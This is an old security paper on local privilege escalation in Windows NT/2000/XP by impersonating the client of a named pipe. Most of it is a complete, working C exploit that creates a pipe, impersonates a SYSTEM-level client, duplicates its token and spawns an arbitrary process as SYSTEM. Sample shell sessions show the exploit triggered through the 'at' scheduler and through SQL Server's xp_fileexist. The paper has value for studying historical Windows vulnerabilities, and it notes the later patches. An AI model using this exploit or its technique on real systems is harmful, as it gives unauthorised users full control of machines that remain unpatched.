All latest versions of Microsoft Windows family operation systems are
based on Windows NT kernel. This fact has positive impact for both remote
and local security of Windows world. There are still some thin places
though allowing obtaining Local System privileges on the local computer
leading to the full system compromise. Usually this is because
different buffer overruns in stack or heap in system services, like in
case of any operation system. However we should not forget about system
specific bugs because of abnormal behavior of system functions. This kind
of bugs is very system dependant and from time to time is discovered
in different OS. Of cause, Windows is not exception.
Specific bugs are usually having impact on local users. Of cause, this is
not a kind of axiom, but local user has access to larger amount of
the system API functions comparing with remote one. So, we are talking
about possibility for local user to escalate his privileges. By
privilege escalation we mean obtaining privileges of Local System to have
no limitations at all. Now there are few ways to get it, I will talk
about new one.
According to MSDN to launch application with different account one must
use LogonUser() and CreateProcessAsUser() functions. LogonUser() requires
username and password for account we need. 'LogonUser()' task is to set
SE_ASSIGNPRIMARYTOKEN_NAME and SE_INCREASE_QUOTA_NAME privileges for
access token. This privileges are required for CreateProcessAsUser(). Only
system processes have these privileges. Actually 'Administrator' account
have no enough right for CreateProcessAsUser(). So, to execute some
application, e.g. 'cmd.exe' with LocalSystem account we must have it
already. Since we do not have username and password of privileged user we
need another solution.
In this paper we will obtain 'LocalSystem' privileges with file access
API. To open file Windows application call CreateFile() function, defined
below:
HANDLE CreateFile(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
To open file we must call something like
HANDLE hFile;
hFile=CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
For advanced Windows programmer it's clear that this function has more
application rather than only opening ordinary files. It's used to
openor create new files, directories, physical drives, and different
resources for interprocess communication, such as pipes and mailslots.
We will be concerned with pipes.
Pipes are used for one-way data exchange between parent and child or
between two child processes. All read/write operations are close to
thesame file operations.
Named Pipes are used for two-way data exchange between client and server
or between two client processes. Like pipes they are like files, but can
be used to exchange data on the network.
Named pipe creation example shown below:
HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
|=----------------------------------------------------------------------=|
Named pipe's name can vary, but it always has predefined format.
The example of valid name is '//./pipe/GetSys'. For Windows, '//./'
sequence always precedes filename, e.g. if "C:/boot.ini" is requested
system actually accesses '//./C:/boot.ini'. This format is compatible
with UNC standard.
With basic knowledge of named pipes operations we can suppose there can be
a way to full application to access named pipe instead of user supplied
file. For example, if we created named pipe "//./pipe/GetSys" we can try
to force application to access "//ComputerName/pipe/GetSys". It gives us a
chance to manipulate with access token.
Impersonation token is access token with client's privileges. That is,
this is possibility for server to do something on client's behalf. In our
case server is named pipe we created. And it becomes possible because we
are granted SecurityImpersonation privilege for client. More precisely, we
can get this privilege. If client application has privileges of local
system we can get access to registry, process and memory management and
another possibilities not available to ordinary user.
This attack can be easily realized in practice. Attack scenario for this
vulnerability is next:
1. Create name pipe
Wait client connect after named pipe is created.
2. Impersonate client
Because we assume client application has system rights we will have them
too.
3. Obtain required rights. In fact, we need only
- SE_ASSIGNPRIMARYTOKEN_NAME
- SE_INCREASE_QUOTA_NAME
- TOKEN_ALL_ACCESS
- TOKEN_DUBLICATE
This is all we need for CreateProcessAsUser() function. To obtain rights
we need new token with TOKEN_ALL_ACCESS privelege. And we can do it,
because we have privileges of client process.
Execute code of our choice
It could be registry access, setting some hooks or random commands with
system privileges. Last one is most interesting, because we can execute
standalone application of our choice for our specific needs.
As it was said before, now I can execute CreateProcessAsUser() with system
privileges. I back to beginning, but this time I have all required
privileges and 'LocalSystem' is under my thumb.
There is no problem to realize this approach. As an example, we will use
working exploit by wirepair at sh0dan.org based on the code
of maceo at dogmile.com.
#include <stdio.h>
#include <windows.h>
int main(int argc, char **argv)
{
char szPipe[64];
DWORD dwNumber = 0;
DWORD dwType = REG_DWORD;
DWORD dwSize = sizeof(DWORD);
DWORD dw = GetLastError();
HANDLE hToken, hToken2;
PGENERIC_MAPPING pGeneric;
SECURITY_ATTRIBUTES sa;
DWORD dwAccessDesired;
PACL pACL = NULL;
PSECURITY_DESCRIPTOR pSD = NULL;
STARTUPINFO si;
PROCESS_INFORMATION pi;
if (argc != 2) {
fprintf(stderr, "Usage: %s <progname>/n", argv[0]);
return 1;
}
memset(&si,0,sizeof(si));
sprintf(szPipe, ".//pipe//GetSys");
// create named pipe"//./pipe/GetSys"
HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
printf ("Failed to create named pipe:/n %s/n", szPipe);
return 2;
}
printf("Created Named Pipe: .//pipe//GetSys/n");
// initialize security descriptor to obtain client application
// privileges
pSD = (PSECURITY_DESCRIPTOR)
LocalAlloc(LPTR,SECURITY_DESCRIPTOR_MIN_LENGTH);
InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE);
sa.nLength = sizeof (SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = pSD;
sa.bInheritHandle = FALSE;
printf("Waiting for connection.../n");
// wait for client connect
ConnectNamedPipe (hPipe, NULL);
printf("Impersonate.../n");
// impersonate client
if (!ImpersonateNamedPipeClient (hPipe)) {
printf ("Failed to impersonate the named pipe./n");
CloseHandle(hPipe);
return 3;
}
printf("Open Thread Token.../n");
// obtain maximum rights with TOKEN_ALL_ACCESS
if (!OpenThreadToken(GetCurrentThread(),
TOKEN_ALL_ACCESS, TRUE, &hToken )) {
if (hToken != INVALID_HANDLE_VALUE) {
printf("GetLastError: %u/n", dw);
CloseHandle(hToken);
return 4;
}
}
printf("Duplicating Token.../n");
// obtain TOKEN_DUBLICATE privilege
if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,
&sa,SecurityImpersonation,
TokenPrimary, &hToken2) == 0) {
printf("error in duplicate token/n");
printf("GetLastError: %u/n", dw);
return 5;
}
// fill pGeneric structure
pGeneric = new GENERIC_MAPPING;
pGeneric->GenericRead=FILE_GENERIC_READ;
pGeneric->GenericWrite=FILE_GENERIC_WRITE;
pGeneric->GenericExecute=FILE_GENERIC_EXECUTE;
pGeneric->GenericAll=FILE_ALL_ACCESS;
MapGenericMask( &dwAccessDesired, pGeneric );
dwSize = 256;
char szUser[256];
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s/n", szUser);
ZeroMemory( &si, sizeof(STARTUPINFO));
si.cb = sizeof(si);
si.lpDesktop = NULL;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
printf("Creating New Process %s/n", argv[1]);
// create new process as user
if(!CreateProcessAsUser(hToken2,NULL, argv[1], &sa,
&sa,true, NORMAL_PRIORITY_CLASS |
CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
printf("GetLastError: %d/n", GetLastError());
}
// wait process to complete and exit
WaitForSingleObject(pi.hProcess,INFINITE);
CloseHandle(hPipe);
return 0;
}
This vulnerability gives a chance for us to obtain system privileges on
local computer. The only condition is system process must access this
channel. This condition is easy to reproduce with system services.
For example:
[shell 1]
>pipe cmd.exe
Created Named Pipe: //./pipe/GetSys
Waiting for connection...
[shell 2]
>time /T
18:15
>at 18:16 /interactive //ComputerName/pipe/GetSys
New task added with code 1
[shell 1]
Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe
Now we have new instance of cmd.exe with system privileges. It means user
can easily obtain privileges of local system. Of cause reproduce this
situation is easy only in case, there is a service, which can access files
on user request. Because 'at' command requires at least power user
privileges and may be used to launch cmd.exe directly, without any named
pipe this example is useless.
In practice, this vulnerability may be exploited for privilege escalation
by the local user if Microsoft SQL Server is installed. SQL server runs
with system privileges and may be accessed with unprivileged user. @Stake
reported vulnerability in xp_fileexist command. This command checks for
file existence and we can use it to access our named pipe. Attack scenario
is nearly same:
[shell 1]
>pipe cmd.exe
Created Named Pipe: //./pipe/GetSys
Waiting for connection...
[shell 2]
C:/>isql -U user
Password:
1> xp_fileexist '//ComputerName/pipe/GetSys'
2> go
File Exists File is a Directory Parent Directory Exists
----------- ------------------- -----------------------
1 0 1
[shell 1]
Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe
At the end, it's good to point that this vulnerability exists in
Windows NT/2000/XP and is patched with Windows 2000 SP4 and
on Windows 2003.
A big thank to ZARAZA(www.security.nnov.ru), without him, nothing could be
possible.
[1] Overview of the "Impersonate a Client After Authentication"
http://support.microsoft.com/default.aspx?scid=kb;[LN];821546
[2] Exploit by maceo
http://www.securityfocus.com/archive/1/74523
[3] Exploit by wirepair
http://www.securityfocus.com/archive/1/329197
[4] Named Pipe Filename Local Privilege Escalation
www.atstake.com/research/advisories/2003/a070803-1.txt
[5] Service Pack 4 for Windows 2000
http://download.microsoft.com/download/b/1/a/
b1a2a4df-cc8e-454b-ad9f-378143d77aeb/SP4express_EN.exe